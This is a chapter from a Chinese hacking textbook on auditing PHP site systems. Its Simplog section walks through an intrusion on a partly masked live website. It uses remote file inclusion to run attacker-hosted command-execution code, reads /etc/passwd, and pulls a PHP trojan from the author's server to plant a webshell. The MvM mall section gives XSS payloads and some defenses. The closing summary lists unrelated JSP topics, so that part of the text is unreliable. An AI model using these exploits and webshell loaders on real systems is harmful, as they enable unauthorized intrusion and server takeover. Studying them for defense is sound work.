第十一章 PHP整站系统的安全性分析
通过前面的学习,大家已经对 PHP 下的各种黑客技术及 PHP 代码漏洞分析都有一定的认识了。通过前面打下的基础,本章就带领大家分析完整的 PHP 系统。分析 PHP 系统漏洞的思路和 ASP 下是一样的,有了基础之后,分析最重要的还是思路。下面就是两个完整分析 PHP 系统漏洞的例子,大家要从中学到分析漏洞的经验。
Simplog系列漏洞分析
Simplog 是一款简单易用的 Blog 程序,用 PHP 编写,兼容很多数据库,例如 DB2、
Firebird、FrontBase、MS SQL Server、MySQL、Oracle 等等。这个系统在全世界范围内使用的比较广泛,利用 google 搜索关键字“Powered by Simplog”就可以找出使用这个系统的网站了,如图 11-1 所示。
图 11-1 搜索使用 Simplog 系统的网站
虽然在功能上它非常的强大,可以其安全性确有待提高。这个系统曾出现过多个安全漏洞,如在包含文件前没有正确验证“doc/index.php”中的“s”参数,导致可以包含任意外部或本地资源的文件;在 SQL 查询中使用之前没有正确过滤对“index.php”中“blogid”参数以及“archive.php”中“blogid”、“m”和“y”参数的输入,导致可以通过注入任意 SQL代码操控 SQL 查询等等
对于这个系统的分析小天有非常深刻的研究。所以这里我就引用小天对 Simplog 系统安全分析的文章来向大家展示如何分析一个完整 PHP 系统的漏洞。这里我们用 http://www.***olshed.net/simplog/index.php 来作为测试目标。
漏洞一、暴露绝对路径
我们打开上面的网址, 随便选择一篇文章阅读,会看到地址栏上的路径类似于 http://www.***olshed.net/simplog/archive.php?blogid=1&pid=3 这样的,该路径显示的是 blogid为 1、 pi d 为 3 的文章;其中 pid 就是文章的序号,我们可以把 pid 的 3 换成字母 k,然后提交:http://www.***olshed.net/simplog/archive.php?blogid=1&pid=k 就可以如图 11-2 所示,暴出绝对路径了,也可以直接提交 http://www.***olshed.net/simplog/archive.php?blogid=A,如图 11-3 所示,或者干脆提交 http://www.***olshed.net/simplog/archive.php 都可以暴出绝对路径。
图 11-2 改 pid 为k 暴出路径
图 11-3 提交 blogid 为 A 也可以暴出路径
像这里我们暴出的路径就是:/home/pwood001/public_html/simplog/adodb/adodb-errorha ndler.inc.php。但是只暴出路径好象也不算什么大漏子,也没有什么实在的利用价值,只能看些文件目录的层次信息,算一个鸡肋。
漏洞二、SQL 注射漏洞分析
在 SQL 风靡一时的今天,simplog 也不例外的存在 SQL 注射漏洞,在其 index.php 中有这么一段代码如下:
<?
//----省略一些无关代码----
$blogid = $_REQUEST['blogid']; if(!isset( $blogid)) {
$blogid = 1;
}
$blogInfo = new BlogInfo($blogid); i nclude("header.php");
?>
在 archive.php 文件中存在这样一段代码:
<?PHP
//----省略一些无关代码----
if(!isset($_REQUEST['blogid'])) {
$sql = "select * from blog_list";
$r = $db->Execute($sql);
$bl ogid = $r->blog_id;
} else {
$blogid = $_REQUEST['blogid'];
}
//----省略一些无关代码----
?>
看上面的两段代码,在 index.php 和 archive.php 这两个文件中,$blogid 这个参数都是直接由$_REQUEST 获得;大家查 PHP 手册可以知道:自动全局变量$_REQUEST 包含
$_POST,$_GET,$_COOKIE 这三种取值方式。那我们就可以通过这三个方式提交$blogid,它没做任何的过滤就去查询了,所以在这里就出现了一个 SQL 注射漏洞,我们即可用 UNION查询管理员帐号和密码了,但是这个系统的密码是 MD5 加密的,利用价值不大,我们先放一放。
漏洞三、远程执行命令漏洞
继续看还有没更容易利用的漏洞,在 doc/index.php 的 11-17 行可以看到这样的代码:
<?php
if(isset($_REQUEST[ 's'])) {
i nclude($_REQUEST['s'].".html");
}
?>
大家可以看到$_REQUEST['s']这个值没有进行任何的过滤就加上了后缀.html,那我们就
可以自己构造这个$_REQUEST['s']值,进而构造出恶意.html 文件来利用了。在$_REQUEST的三种取值方式里,在这里随便使用一种就可以,我们选取最方便的$_GET,即直接提交我们构造的参数给 s 就可以利用了。
我们的思路是这样的:把执行命令的语句保存为 HTML 格式,放在我们自己的服务器上,在目标主机的 allow_url_fopen = On 的条件下(这个条件一般都是满足的),就可以请求我们构造的 HTML 文件来执行命令了。
首先我们写一段执行命令的脚本,语句和注释如下:
<?php
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]= stripslashes($_REQUEST["cmd"]);} / /提取 cmd 的值
ini_set("max_execution_time",0);
echo "<br>I.S.T<br>"; //返回值的开始 为了区分返回值 passthru($_REQUEST["cmd"]); / /把cmd 的值用 passthru 来执行 echo "<br>I.S.T<br>"; //返回值的结束 为了区分返回值
?>
这段代码的意思就是:取得 cmd 的值,然后调用 passthru 来执行它。我们把这段代码保存为 cmd.html(保存的文件名字随便,但是后缀一定得是.html),把它上传到我自己的服务器上,得到地址是:http://www.iceskysl.net/cmd.html,OK!现在我们就可以来利用了。我们提交 s 为 http://www.iceskysl.net/cmd,则按照上面的代码执行,得到●$_REQUEST['s']为 http://www.iceskysl.net/cmd,然后加上后面的.html,就会去打开 http://www.iceskysl.net/c
md.html 这个文件了,我们再用 cmd 提交命令参数就可以执行该命令了。例如我们想查看目标主机名,则在*UNIX 下使用 hostname 命令,所以提交 cmd 为 hostname,则完整的路径就是:http://www.***olshed.net/simplog/doc/index.php?cmd=hostname&s=http://www.iceskysl.net
/cmd,可以看到图 11-4 的返回的结果显示其主机名为 twx3.tdmwebx.com。
图 11-4 查看目标主机名
按照这样的方式我们可以执行很多的命令来获得更多的信息,我们尝试着来看看能不能看到 etc/passwd 的值,和上面的原理一样,修改 cmd 值为 cat ec t/passwd,提交如下地址 http://www.***olshed.net/simplog/doc/index.php?cmd=cat%20/etc/passwd&s=http://www.icesky
sl.net/cmd 就可以看到你顺利显示了 ect/passwd 的值,如图 11-5。
图 11-5 显示 ect/passwd 的信息
在上面得到的是/etc/passwd 信息中可以得到帐号,但是其密码是系统加密后放在
/etc/shadow 中的,只有超级用户才能查看,我尝试执行 cat /etc/shadow 没有成功,到这里我们有个思路就是用流光之类的工具提取上面显示的帐号进行暴破,如果能找到几个弱口令就能 Telnet 或 SSH 上去就能得到 SHELL 了,我机子配置不行,也懒得去跑,再换思路!
漏洞四、上传 WEBSHELL
上面我们可以得到帐号信息,但是苦于没有密码还是没办法登陆上去,又不想去跑密码,我们就可以按照上面的思路来想问题了,我们可以构造一个写文件的“HTML”文件读我们的木马了,然后写到目标主机上,就可以得到 webshell 了,说干就干!如下构造语句:
<?
$f= file_get_contents("http://www.iceskysl.net/1stphp.txt");
$ff= fopen("../doc/pp.php","a"); fwrite ($ff,$f);
fclose($ff);
?>
解释一下, 1stphp.txt 是我的一个 PHP 木马文件,也放在我服务器上,地址是:
http://www.iceskysl.net/1stphp.txt,先用 file_get_contents 其做连接,然后建立一个 pp.php 的文件,并把上面取得的内容写进去,最后关闭连接。
把这个文件保存为 creatfile.html , 然后上传到我自己的服务器上, 得到地址是:
http://www.iceskysl.net/creatfile.html,然后我们就提交 s 为 http://www.iceskysl.net/creatfile 提交得到下图 11-6 的信息。
看到返回的信息是:
图 11-6 提交 creatfile 后返回信息
Warning: f open(../doc/pp.php): fa iled t o o pen stream : Perm ission d enied in http://www.iceskysl.net/creatfile.html on line 3
看来我们请求的 doc 目录是不可写操作,我们的马就写不进去,怎么突破?只能找能写的目录或者文件,幸好我们上面可以执行命令,那我们就可以提交 cmd 为 ls –la 来查看文件和目录的属性,于是提交:
http://www.***olshed.net/simplog/doc/index.php?cmd=ls%20-la&s=http://www.iceskysl.net/cmd
,返回图 11-7,这个就是 doc 文件夹下的所有文件和目录以及其各自属性。
图 11-7 提交 ls –la 查看文件和目录属性
怎么知道哪个目录或文件允许写操作呢?这就涉及到*UNIX 的基本知识了:
在 UNIX 下的文件的属性是用读(r)、写(w)、执行(x)来表示的,分为 3 组,分别代表 root、 onwer、everyone。所以我们需要找的是 rwxrwxrwx 这样的属性,你可以点右键选取查看源代码,在里面搜索有没这个字符串,我用的 FireFox 浏览器,该浏览器具有在当前网页内搜索的功能,直接搜索 rwxrwxrwx 就能看到有这样的目录或文件了。
上面我们没有发现,用../跳转查看其他目录下的文件和目录,当我提交:
http://www.***olshed.net/simplog/doc/index.php?cmd=ls%20-la%20../../&s=http://www.iceskysl.
net/cmd 时返回图 11-8 所示。
图 11-8 提交 ls –la ../../的返回结果
在上面我们看到有两个目录 myblog 和 phpBB2 的属性如下:
drwxrwxrwx 15 pwood001 pwood001 4096 Apr 12 16:18 myblog
drwxrwxrwx 11 pwood001 pwood001 4096 Apr 13 09:07 phpBB2
前面的 d 说明是目录,其属性是允许任何人读、写、执行的,找到了好办了,我们就在
phpBB2 这个目录里写木马。
修改上面的那个 creatfile.html 内容为:
<?
$f= file_get_contents("http://www.iceskysl.net/1stphp.txt");
$ff=fopen("../../phpBB2/ist.php","a"); //主要是改这里的路径 fwrite ($ff,$f);
fclose($ff);
?>
就是修改上面写入木马的路径为 phpBB2 下就可以了,修改好后重新上传到我自己的服务器上,地址还是前面说的那个,接着依然提交: http://www.***olshed.net/simplog/doc/index.php?s=http://www.iceskysl.net/creatfile,返回如图 11-9 所示。
图 11-9 修改 creatfile 后重新提交
看到图 11-9 没有,像图 11-6 一样返回错误,不晓得成功了没,要是成功就会按照 creatfile.html语句写一个 ist.php 的木马到 phpBB2 的目录下,于是提交 http://www.***olshed.net/simplog/doc/index.php?cmd=ls%20-la%20../../phpBB2&s=http://www.i
ceskysl.net/cmd 看 ist.php 是不是存在了,得到图 11-10 所示。
图 11-10 提交 ls –ls ../../phpBB2 查看是否生成 ist.php
在图 11-10 中看到存在了 ist.php ,那 我们就可 以直接请 求它的 路 径
http://www.***olshed.net/phpBB2/ist.php,得到 Webshell 了,如下图 11-11。
图 11-11 得到 WebShell
后记:
本文是我测试时的一个完整思路,按照我的思路一步接着一步,后来写完了回头重新测试了一下,发现自己比较大意,没有发现 Simplog 的cache 目录也是可写的,大家利用时可直接在这个目录里写 WebShell,其实仔细想想也是,cache 是随时都可能生成的,肯定需要写权限啦,害我还绕到更上层的 phpBB2 目录写 WebShell,不过也不亏,至少提醒我下次要更细心,也告诉了你:遇到障碍时,想别的办法突破,千万别在一棵树上吊死!
PHP系统常见防护措施及问题
-------记对 MvM mall V.3.5.0 系统的分析结果
前面,我们已经多次详细讲解 PHP 下的各种漏洞代码,上一节也分析了 Simplog 系统的漏洞。可能有人会觉得这样分析漏洞很简单嘛,实际上并非如此。现在越来越多的程序员认识到了这些攻击的危害性,所以如今大部分系统都对参数进行了相应的处理。所以目前要找到一个完全没有过滤参数的系统基本上是很难了。
所以,目前要找一个系统中的漏洞完全是从大量的参数中筛选出少数没过滤的变量来,要找这些少数的参数就要求我们在分析代码的时候要非常的仔细和认真。同时我们还要了解一些程序员是如何防范这些漏洞的产生,争取做到攻防兼备。本节我通过分析 MvM m all
V.3.5.0 系统来为大家介绍在 PHP 系统中常见的防护措施,并从中找出程序员的一些大意或者失误的问题,使得我们仍然能够继续攻击。
MvM m all 是一套基于 PHP+MYSQL 的商务系统,目前最新版本是 V.3.5.0,经过几次的升级,目前安全性是比较高了。基本上不存在了注入、文件包含之类比较明显的漏洞了。不过虽然已经过滤的比较严格了,但还是有一些地方做的不够完善,导致出现了一些跨站漏洞。下面就来仔细谈谈这个系统的跨站漏洞及防护措施。
先还是来谈谈跨站漏洞,本来这个系统大部分可以输入数据的地方都过滤的比较干净了,可能是由于程序员的疏忽,使得跨站漏洞重现了。有两处地方出现了跨站漏洞,一是发生在修改个人注册资料文件中,另一个是在留言文件中。
我们在注册一个会员后还可以修改我们注册时的资料,修改资料的界面如图 11-12 所
示。
图 11-12 修改注册资料
问题就出在了姓名、联系地址、自我介绍三个地方,这三个变量在客户端中的变量名
为:
姓 名:<input name="name" type="text" class="gray_input" size="23" value="haha">
</td>
联系地址:<input na me= "address1" typ e= "text" v alue="haha" cl ass= "gray_input"siz e= "50"
maxlength="100">← 此地址用于邮寄奖品或信件 </t d>
</tr>
<tr>
...........省略代码
<td class="mem_frm">
自我介绍:<textarea class="textarea" rows="10" name="intro" cols="70">haha</textarea></td>
</tr>
从中可以得到姓名的变量名为 name、联系地址变量名为 address1、自我介绍变量名为
textarea。我们在来看看在服务端这些数据是如何被放入到数据库中的,如下代码:
$query = " update $morning_member_table set
member_pass | = '$insert_pass', | //密码 |
member_name | = '$name', | //姓名 |
member_sex | = '$sex', | |
member_birthday | = '$birthday', |
member_tel1 = '$tel1',
member_tel2 = '$tel2',
member_email = '$email', // 电 子 邮 件 member_zip = '$zip',
member_address = '$address1', //联系地址 member_homepage = '$homepage', //主页 member_automail = '$automail', member_recommend = '$recommend', member_interest = '$textarea', // 自我介绍
m ember_hobby = '$hobby', member_religion = '$religion', member_blood = '$bloodtype',
member_job = '$job', member_jobname1 = '$jobname1', member_jobname2 = '$jobname2', member_tel4 = '$tel4',
member_jobzip = '$jobzip', member_jobaddress = '$address2', member_marriage = '$marriage',
m ember_marriageday = '$marriageday', member_introduction = '$intro', member_main = '$main',
member_image = '$member_file_text',
m odify_id = '$g_check_id',
modify_ip = '$g_user_ip',
modify_date = '$g_now_time' w here member_id = '$g_check_id'";
m orning_query_error($query); error_msg("$lang_member_modify_ok","logout.php?url=m_login.php"); exit;
}
上面更新的数据很多,有一些是隐藏的,我们只需要注意我们注释的变量即可。可能大家对以 member 开头的变量有一些不明白,开始我也是一样的。不过后来看到文件
m_member_modify.php 中的一小段代码,如下所示:
if(is_dir("$g_mall_skin_dir/$cf_skin_name"))
{ include "$g_mall_skin_dir/$cf_skin_name/mall_member_modify.html";
} else { include "$g_mall_skin_dir/default/mall_member_modify.html"; }
即修改页面是由 mall_member_modify.html 在客户端显示,打开这个文件,如图 11-13
所示。
图 11-13 变量的值
可以发现 name 的值为$list[member_name],详细的代码如下:姓 名:
<input nam e="name" type="text" class="gray_input" size="23" valu e="<?=$list[member_nam e]?>">
................省略代码
联系地址:
<input name= "address1" typ e= "text"valu e= "<?=$list[member_address]?>" class="gray_input" size ="50" m axlength= "100">← 此地址用于邮寄奖品或信件 </t d>
.............省略代码
<td cl ass= "mem_frm">身份证号码:<font co lor= "#FF6600">*</font></td>
<td cl ass= "mem_frm2"><?= $jumin1?>******************</td>
</tr>
<tr>
...............省略代码
自我介绍:
<td class= "mem_frm2"><textarea cla ss= "textarea" rows= "10" nam e= "intro" cols= "70"><?=$li st[member_introduction]?></textarea>
这下就可以知道 name 的值为 member_name、address1 的值为 member_address、textarea
的值为 member_introduction,当我们输入数据之后,数据被赋值给这些变量。
这下我们就可以看懂在服务端的数据更新操作代码了吧,他们这些变量都是没有经过任何处理就进行更新操作了,即产生了跨站漏洞。我们分别在姓名、联系地址、自我介绍都输入跨站代码,不过在联系地址直接输入会被封闭,所以要输入"><script>alert("联系地址跨站")</script><"即可跨站,如图 11-14 所示。
图 11-14 联系地址跨站
而自我介绍处输入</textarea></td><script>alert("自我介绍跨站")</script><td><textarea>就可以实现跨站了,如图 11-15 所示。
图 11-15 自我介绍跨站
姓名则是输入"><script>alert("cmd")</script>就可实现跨站了,而且由于在我们登陆后的每一个页面都会显示姓名,所以我们每一个页面都会发生跨站,如图 11-16 所示。
图 11-16 姓名跨站
该系统还有一个地方存在跨站漏洞,就是留言版(评论),和上面的修改个人资料一样,没有经过任何的过滤,而且处理代码也是一样。只是把 update 改成了 insert 语句,存在跨站漏洞也就自然了,如图 11-17 和 11-18 所示。
图 11-7 输入跨站代码
图 11-8 发生跨站
对于上述的跨站漏洞还算比较明显,不过要从众多的代码中分析出漏洞也比较费劲。我们只需要把这些变量用 htmlspecialchars()函数转换一下即可防御。
要从更为安全的系统中找出漏洞,则更加要仔细了,找出每一个变量的去处。上面我们说的漏洞都是没有经过任何的检测和过滤的而导致的,那么在实际的编程过程中,我们又该如何进行检查过滤呢?我以 MvM m all V.3.5.0 系统中的代码来简单介绍一些 PHP 下的防护措施,有了对这些防御上的了解,那么在攻击的过程中就会有更加深刻的认识。
在 PHP 下,对于数字型的参数,只需要用函数 intval()把参数强制性转换成数字即可彻底防御数字型注入漏洞。而对于字符型注入则稍微麻烦一些,我以 MvM mall V.3.5.0 中的搜索代码来举例:
if($ps_sele and $ps_ques) {
if($search_sql) $search_sql = $search_sql." and ";
if($ps_sele == "subject") { $search_sql .= " board_subject like '%$ps_ques%' "; }
//主题搜索,变量名为$ps_ques
elseif($ps_sele == "content") { $search_sql .= " board_body like '%$ps_ques%' "; }
//正文搜索,变量名为$ps_ques
e lseif($ps_sele = ="name") { $search_sql .= " board_name like '%$ps_ques%' "; } elseif($ps_sele = = " sub_plus") { $s earch_sql .= " board_subject like ' %$ps_ques%' and
board_body like '%$ps_ques%' "; }
系统对搜索提供了几种搜索的功能,如主题、正文、名字等等。在客户端中输入的变量名为 ps_ques,在该变量进入查询之前变量 ps_ques 在 func.php 文件 escape_string 函数中进行了过滤,如图 11-9 所示。
在跟着 escape_string()函数进去,看这个函数是如何处理的参数的,代码如下:
//#############################################################################
###
// SQL Injection
//#############################################################################
###
function escape_string($str) { // 获 取 的 参 数 $str
if(!$str) return; // 如 果 参 数 为 空 , 就 返 回
// $str = nl2br($str);
if(versi on_compare(phpversion(),"4.3.0")= ="-1") { //判断当前 PHP 的版本
$str = mysql_escape_string($str); //利用函数 mysql_escape_string 对参数进行转换
} else {
$str = mysql_escape_string($str);
// mysql_escape_string 与 addslashes 函数的功能是一样的
//$str = addslashes($str);
}
retur n $str; //返回经过过滤的参数
}
上面的代码首先判断是否存在变量,如果存在就判断当前 PHP 版本,并用
mysql_escape_string 函数转换参数值,然后返回经过过滤了的参数。如果参数不存在则就直接返回。经过我的分析发现 MvM m all V.3.5.0 中的数字型参数都用 intval()函数转换了,而字符型则全部转换了。
PHP 下还有一个非常大的漏洞就是文件包含,原理就不在重复了。其实对于要包含进来的文件,只需要使用 is_dir()函数先判断一下包含文件路径是否存在即可断绝文件包含漏洞的产生,例如 MvM mall V.3.5.0 系统的首页 index.php 的代码如下所示: if(is_dir("$cf_skin_name"))
//利用 is_dir()判断$cf_skin_name 路径是否存在
{ include "$cf_skin_name/mall_main.html";
//如果存在,则包含进来
} else { include "default/mall_main.html"; }
//如果不存在,则包含已经设定的目录 include "m_bottom.php"; morning_close($connect);
exit;
?>
上面简单的介绍了一下在 PHP 程序中如何防御漏洞的发生,不管你是程序员还是想找漏洞的黑客都应该对防御有着深刻的认识。例如,黑客在知道如何防御后,那么在分析代码的时候就可以针对性的去寻找那些没有防御的变量,则分析代码的效率就会大大得到提高。学黑客技术不仅仅是学攻击,防御也是同等的重要,只要做到了攻防兼备的人才算是一名优秀的黑客。对 PHP 整站系统的漏洞分析到这里也就结束了,希望大家能够从中去总结,通过总结领会一些技巧和经验。
声明:非常的感谢小天对 Simplog 系统漏洞分析的文章,这篇文章非常的优秀,且有代表性。
你从本章可以学到如下几点:
1、JSP 的基本语法
2、JSP 内置对象及文件操作
3、通过 JDBC 访问数据库 4、JavaBean 和 Servlet